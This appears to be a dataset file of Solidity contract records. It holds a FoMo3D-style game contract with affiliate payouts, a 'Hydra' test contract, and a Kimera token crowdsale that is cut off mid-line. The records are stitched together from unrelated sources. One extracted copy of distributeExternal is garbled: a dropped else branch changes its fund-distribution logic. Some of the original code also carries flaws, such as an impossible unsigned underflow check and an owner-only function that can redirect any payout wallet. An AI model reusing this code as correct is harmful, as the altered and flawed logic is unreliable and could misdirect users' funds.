// grab their player ID, name and last aff ID, from player names contract uint256 _pID = PlayerBook.getPlayerID(addr); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); uint8 _level = PlayerBook.getPlayerLevel(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; plyr_[_pID].level = _level; } function determinePID(OPKdatasets.EventReturns memory _eventData_) private returns (OPKdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { reloadPlayerInfo(msg.sender); _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (athena) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, OPKdatasets.EventReturns memory _eventData_) private returns (OPKdatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function toCom(uint256 _com) private { Community_Wallet1.transfer(_com / 2); Community_Wallet2.transfer(_com / 2); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(OPKdatasets.EventReturns memory _eventData_) private returns (OPKdatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // opk share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _opk = (_pot.mul(potSplit_[_winTID].opk)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_opk); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // support community toCom(_com); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // send share for opk to divies if (_opk > 0) Divies.deposit.value(_opk)(); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.OPKAmount = _opk; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } // XXX // 计算三级推广员 收益 function calculateAffiliate(uint256 _rID, uint256 _pID, uint256 _aff) private returns(uint256) { uint8 _alreadycal = 4; uint256 _oID = _pID; uint256 _used = 0; uint256 _fid = plyr_[_pID].laff; // 最多 10次 追溯 推广员 for (uint8 i = 0; i <10; i++) { // 如果当前用户不是推广员 则结束循环 if (plyr_[_fid].level == 0) { break; } // 如果当前已经处理过1级推广员 则结束 if (_alreadycal <= 1) { break; } // 如果当前推广员等级 高于已处理等级 则处理; if (plyr_[_fid].level < _alreadycal) { // 计算当前推广员所得收益 // 可能出现 数据溢出 uint256 _ai = _aff / 10 * levelRate_[plyr_[_fid].level]; // 为了计算跳级收益 if (_used == 0) { _ai += (_aff / 10) * levelRate_[plyr_[_fid].level+1]; } // 如果 当前推广员是1级 则 收益 = 总10% - 已使用 避免数据溢出 并设置已使用 if (plyr_[_fid].level == 1) { _ai = _aff.sub(_used); _used = _aff; } else { // 改变 aff 已使用数量 _used += _ai; } // 给当前推广员的资产加上本次收益 plyr_[_fid].aff = _ai.add(plyr_[_fid].aff); // 发送简要收益时间 emit OPKevents.onAffiliateDistribute(_pID,plyr_[_pID].addr,_fid,plyr_[_fid].addr,plyr_[_fid].level,_ai,now); // 发送origin收益事件 emit OPKevents.onAffiliatePayout(_fid, plyr_[_fid].addr, plyr_[_fid].name, _rID, _pID, _ai, plyr_[_fid].level, now); // 设置已经处理过的等级 _alreadycal = plyr_[_fid].level; _pID = _fid; } // 如果当前用户 没有推广员 或者 推广员是自己 则结束循环 if (plyr_[_fid].laff == 0 || plyr_[_fid].laff == _pID) { break; } // 设置当前用户为推广员 _fid = plyr_[_fid].laff; } emit OPKevents.onAffiliateDistributeLeft(_oID,(_aff - _used)); if ((_aff - _used) < 0) { return 0; } return (_aff - _used); } /** * @dev distributes eth based on fees to com, aff, and opk */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_) private returns(OPKdatasets.EventReturns) { // pay 3% out to community rewards uint256 _com = _eth / 100 * 3; uint256 _opk; // support to com toCom(_com); // pay 1% out to FoMo3D short uint256 _long = _eth / 100; otherOPK_.potSwap.value(_long)(); // distribute share to affiliate uint256 _aff = _eth / 10; uint256 _aff_left; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { // XXX _aff_left = calculateAffiliate(_rID,_pID,_aff); }else { _opk = _aff; } // pay out opk _opk = _opk.add((_eth.mul(fees_[_team].opk)) / (100)); if (_opk > 0) { // deposit to divies contract Divies.deposit.value(_opk)(); // set up event data _eventData_.OPKAmount = _opk.add(_eventData_.OPKAmount); } // XXX 推广员奖池 if (_aff_left > 0) { PlayerBook.deposit.value(_aff_left)(); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit OPKevents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, OPKdatasets.EventReturns memory _eventData_) private returns(OPKdatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // update eth balance (eth = eth - (com share + pot swap share + aff share + opk share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].opk)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, OPKdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit OPKevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.OPKAmount, _eventData_.genAmount, _eventData_.potAmount, 0 ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() onlyDevs() public { // make sure that its been linked. require(address(otherOPK_) != address(0), "must link to other FoMo3D first"); // can only be ran once require(activated_ == false, "fomo3d already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setOtherFomo(address _otherOPK) onlyDevs() public { // make sure that it HASNT yet been linked. //require(address(otherOPK_) == address(0), "silly dev, you already did that"); // set up other fomo3d (fast or long) for pot swap otherOPK_ = otherFoMo3D(_otherOPK); } }
distributes eth based on fees to com, aff, and opk/ pay 3% out to community rewards support to com pay 1% out to FoMo3D short distribute share to affiliate decide what to do with affiliate share of fees affiliate must not be self, and must have a name registered XXX deposit to divies contract set up event data XXX 推广员奖池
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_) private returns(OPKdatasets.EventReturns) { uint256 _com = _eth / 100 * 3; uint256 _opk; toCom(_com); uint256 _long = _eth / 100; otherOPK_.potSwap.value(_long)(); uint256 _aff = _eth / 10; uint256 _aff_left; if (_affID != _pID && plyr_[_affID].name != '') { _aff_left = calculateAffiliate(_rID,_pID,_aff); _opk = _aff; } if (_opk > 0) { Divies.deposit.value(_opk)(); _eventData_.OPKAmount = _opk.add(_eventData_.OPKAmount); } if (_aff_left > 0) { PlayerBook.deposit.value(_aff_left)(); } return(_eventData_); }
5,951,080
pragma solidity ^0.4.11; /* Function signatures: c1dc5e8e: HYDRA_INIT(address,address) 4ac729b8: callback_discrepancy_but_throws() 0de8cdfa: explicit_throw() 9c2d31c5: external_call(uint256) 383776fc: external_call_reentrant(uint256) 9d69a5bf: external_call_wrong_args(uint256) 030a564c: external_call_wrong_num(uint256) b8ba86f1: external_call_wrong_val(uint256) 1839d9df: external_call_throws() c1cfb99a: get_balance() daef204e: instrumented_throw() 1e0e3746: log_event() 93044b4d: mul_by_hundred(uint256) 16a5637f: not_in_abi() 13cf6673: return_constant() 50345308: return_one_or_two() df01c983: return_or_throw() cba5188d: return_stop() 59fdfdf1: second_head_makes_call() 1b960b82: throw_discrepancy() */ contract Head { address externalAddress; address metaContract; function HYDRA_INIT(address a, address b) { address ead; address mc; address msg_sender; assembly { msg_sender := calldataload(0x0) ead := calldataload(0x44) mc := calldataload(0x64) } Initialized1(msg_sender, ead, mc); externalAddress = ead; metaContract = mc; } event InFallback1(uint256 calldatasize, address msg_sender, uint256 msg_value, bytes4 sig, uint256 arg1); event Initialized1(address sender, address ead, address mc); event Balance1(address a, uint256 b); event ExternalCall1(address a, uint256 ret, bool success); event LogCallBack1(uint256 a, uint256 b); function() payable { uint256 callDataSize; bytes4 sig; address msg_sender; uint256 msg_value; uint256 arg1; assembly { callDataSize := calldatasize let x := mload(0x40) calldatacopy(x, 0x0, 0x20) msg_sender := mload(x) calldatacopy(x, 0x20, 0x20) msg_value := mload(x) calldatacopy(x, 0x40, 0x4) sig := mload(x) calldatacopy(x, 0x44, 0x20) arg1 := mload(x) } InFallback1(callDataSize, msg_sender, msg_value, sig, arg1); bool call_success; address ead = externalAddress; address dest = metaContract; bytes memory ret_val_mem; uint256 ret_val; // HYDRA_INIT if ( sig == 0xc1dc5e8e ) { HYDRA_INIT(0x0, 0x0); return; } if ( sig == 0x13cf6673 ) { _return_constant(); } else if ( sig == 0x93044b4d ) { _mul_by_hundred(); } else if ( sig == 0x50345308 ) { _return_one_or_two(); } else if ( sig == 0xcba5188d ) { _return_stop(); } else if ( sig == 0xdf01c983 ) { _return_or_throw(); } else if ( sig == 0x0de8cdfa ) { _explicit_throw(); } else if ( sig == 0xc1cfb99a ) { _get_balance(); } else if ( sig == 0x9c2d31c5 ) { // external_call to `mul_by_100` _external_call(0xf0fff0c9, 5, arg1, 0); } else if ( sig == 0x9d69a5bf ) { // external_call_wrong_args // Head2 calls with arg1 - 1 _external_call(0xf0fff0c9, 5, arg1, 0); } else if ( sig == 0x030a564c ) { // external_call_wrong_num // Head2 calls with num=4 _external_call(0xf0fff0c9, 5, arg1, 0); } else if ( sig == 0xb8ba86f1 ) { // external_call_wrong_val // Head2 calls with val=1 _external_call(0xf0fff0c9, 5, arg1, 0); } else if ( sig == 0x383776fc ) { // external_call_reentrant _external_call(0x8b61622f, 1, arg1, 0); } else if ( sig == 0x1839d9df ) { // external_call_throws _external_call(0x00414f8c, 1, arg1, 0); } else if ( sig == 0x1e0e3746 ) { _log_event(); } else if ( sig == 0xdaef204e ) { _instrumented_throw(); } else if ( sig == 0x1b960b82 ) { _throw_discrepancy(); } else if ( sig == 0x59fdfdf1 ) { // second head calls return; } else if ( sig == 0x4ac729b8 ) { // callback discrepancy before throw _instrumented_throw(); } } // return constant function _return_constant() internal { bytes4 ret = 0xabababab; assembly { let x := mload(0x40) mstore(x, 0x20) mstore(add(x, 0x20), ret) return(x, 0x40) } } // return first argument multiplied by 100 function _mul_by_hundred() internal { assembly { let x := mload(0x40) // fetch first arg (after msg_sender, msg_value, sig) calldatacopy(x, 0x44, 0x20) let a := mload(x) mstore(x, 0x20) mstore(add(x, 0x20), mul(a, 100)) return(x, 0x40) } } // return 1 (discrepancy with head2) function _return_one_or_two() internal { assembly { let x := mload(0x40) mstore(x, 0x20) mstore(add(x, 0x20), 0x1) return(x, 0x40) } } // return nothing function _return_stop() internal { assembly { let x := mload(0x40) mstore(x, 0x0) mstore(add(x, 0x20), 0x0) return(x, 0x40) } } // returns 1 (head 2 throws) function _return_or_throw() internal { assembly { let x := mload(0x40) mstore(x, 0x20) mstore(add(x, 0x20), 0x1) return(x, 0x40) } } // explicit throw function _explicit_throw() internal { throw; } // balance callback function _get_balance() internal { uint256 b; address ead = externalAddress; address dest = metaContract; assembly { let x := mload(0x40) // free memory pointer mstore(x, ead) // address mstore(add(x, 0x20), 0x6) // BALANCE TYPE let call_success := call(gas, // give all the gas dest, // destination address 0, // value x, // inputs start here 0x40, // input length x, // outputs will be written here 0x20) // size of outputs b := mload(x) } Balance1(ead, b); assembly { let x := mload(0x40) mstore(x, 0x20) mstore(add(x, 0x20), b) return(x, 0x40) } } function _external_call(bytes4 sig, uint256 num_calls, uint256 arg, uint256 val) internal { bool call_success; address ead = externalAddress; address dest = metaContract; bytes memory ret_val_mem; uint256 ret_val; for (uint8 i = 0; i < num_calls; i++ ) { assembly { ret_val_mem := mload(0x40) // free memory pointer mstore(ret_val_mem, 0x20) // output size mstore(0x40, add(ret_val_mem, 0x40)) // space for output size, outputs, call_success let x := mload(0x40) // free memory pointer mstore(x, sig) // signature of `my_function(uint256)` mstore(add(x, 0x4), arg) // args mstore(add(x, 0x24), gas) // gas mstore(add(x, 0x44), ead) // address mstore(add(x, 0x64), 0) // value mstore(add(x, 0x84), 0x20) // output size mstore(add(x, 0xa4), 0x5) // call type call_success := call(gas, // give all the gas dest, // destination address val, // value x, // inputs start here 0xc4, // input length add(ret_val_mem, 0x20),// outputs will be written here 0x40) // size of outputs call_success := mload(add(ret_val_mem, 0x20)) ret_val := mload(ret_val_mem) } } ExternalCall1(ead, ret_val, call_success); assembly { return(ret_val_mem, 0x40) //output size and output value } } // callback to log an event function _log_event() internal { // sha3 of "LogCallBack1(uint256,uint256)" bytes32 log_sig = sha3("LogCallBack1(uint256,uint256)"); address dest = metaContract; assembly { let x := mload(0x40) // free memory pointer mstore(x, 0x1) // log data mstore(add(x, 0x20), 0x2) // more log data mstore(add(x, 0x40), log_sig) // one topic mstore(add(x, 0x60), 0x1) // log1 let call_success := call(gas, // give all the gas dest, // destination address 0, // value x, // inputs start here 0x80, // input length x, // outputs will be written here 0x0) // size of outputs } } // an instrumented "throw" function _instrumented_throw() internal { uint throw_val = uint(-1); assembly { let x := mload(0x40) mstore(x, not(0)) return(x, 0x20) } } // a "throw" discrepancy (head2 returns constant) function _throw_discrepancy() internal { uint throw_val = uint(-1); assembly { let x := mload(0x40) mstore(x, not(0)) return(x, 0x20) } } // dummy function declarations so that they are included in the ABI function return_constant() returns (bytes4 ret) {} function mul_by_hundred(uint256 a) returns (uint256 ret) {} function return_one_or_two() returns (uint256 ret) {} function return_stop() {} function return_or_throw() {} function explicit_throw() {} function get_balance() returns (uint256 ret) {} function external_call(uint256 a) returns (uint256 ret) {} function external_call_wrong_num(uint256 a) returns (uint256 ret) {} function external_call_wrong_args(uint256 a) returns (uint256 ret) {} function external_call_wrong_val(uint256 a) returns (uint256 ret) {} function external_call_reentrant(uint256 a) returns (int256 ret) {} function external_call_throws() returns (uint256 ret) {} function log_event() {} function second_head_makes_call() {} function callback_discrepancy_but_throws() {} function instrumented_throw() {} function throw_discrepancy() {} // this one will be explicitly omitted from the metacontract function not_in_abi() {} }
returns 1 (head 2 throws)
function _return_or_throw() internal { assembly { let x := mload(0x40) mstore(x, 0x20) mstore(add(x, 0x20), 0x1) return(x, 0x40) } }
12,609,487
pragma solidity 0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract KimeraToken is MintableToken, BurnableToken { string public name = "Kimera"; string public symbol = "Kimera"; uint256 public decimals = 18; } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } } contract KimeraTokenCrowdsale is Ownable, Crowdsale { using SafeMath for uint256; //operational bool public LockupTokensWithdrawn = false; uint256 public constant toDec = 10**18; uint256 public tokensLeft = 1000000000*toDec; enum State { BeforeSale, preSale, NormalSale, ShouldFinalize, Lockup, SaleOver } State public state = State.BeforeSale; uint256 public accumulated = 0; /* --- Wallets --- */ address[7] public wallets; uint256 public adminSum = 470000000*toDec; // 0 - 23.5% uint256 public NigelFundSum = 400000000*toDec; // 1 - 20% uint256 public teamSum = 100000000*toDec; // 2 - 5% uint256 public advisor1Sum = 12000000*toDec; // 3 - 0.6% uint256 public advisor2Sum = 12000000*toDec; // 4 - 0.6% uint256 public advisor3Sum = 6000000*toDec; // 5 - 0.3% // /* --- Time periods --- */ uint256 public lockupPeriod = 360 * 1 days; // 360 days - 15552000 uint256 public presaleEndtime = 1529020800; uint256 public ICOEndTime = 1531612800; event LockedUpTokensWithdrawn(); event Finalized(); modifier canWithdrawLockup() { require(state == State.Lockup); require(endTime.add(lockupPeriod) < block.timestamp); _; } function KimeraTokenCrowdsale( address _admin, /*used as the wallet for collecting Kimeras*/ address _NigelFund, address _team, address _advisor1, address _advisor2, address _advisor3, address _unsold) Crowdsale( now + 5, // 2018-01-25T12:00:00+00:00 - 1516881600 ICOEndTime,// 2018-02-25T12:00:00+00:00 - 1519560000 3333,/* start rate - 3333 */ _admin ) public { wallets[0] = _admin; wallets[1] = _NigelFund; wallets[2] = _team; wallets[3] = _advisor1; wallets[4] = _advisor2; wallets[5] = _advisor3; wallets[6] = _unsold; owner = _admin; token.mint(wallets[0], adminSum); token.mint(wallets[1], NigelFundSum); token.mint(wallets[3], advisor1Sum); token.mint(wallets[4], advisor2Sum); token.mint(wallets[5], advisor3Sum); } // creates the token to be sold. // override this method to have crowdsale of a specific MintableToken token. function createTokenContract() internal returns (MintableToken) { return new KimeraToken(); } function forwardFunds() internal { forwardFundsAmount(msg.value); } function forwardFundsAmount(uint256 amount) internal { var halfPercent = amount.div(200); var adminAmount = halfPercent.mul(197); var advisorAmount = halfPercent.mul(3); wallets[0].transfer(adminAmount); wallets[3].transfer(advisorAmount); var left = amount.sub(adminAmount).sub(advisorAmount); accumulated = accumulated.add(left); } function refundAmount(uint256 amount) internal { msg.sender.transfer(amount); } function fixAddress(address newAddress, uint256 walletIndex) onlyOwner public { wallets[walletIndex] = newAddress; } function calculateCurrentRate(State stat) internal { if (stat == State.NormalSale) { rate = 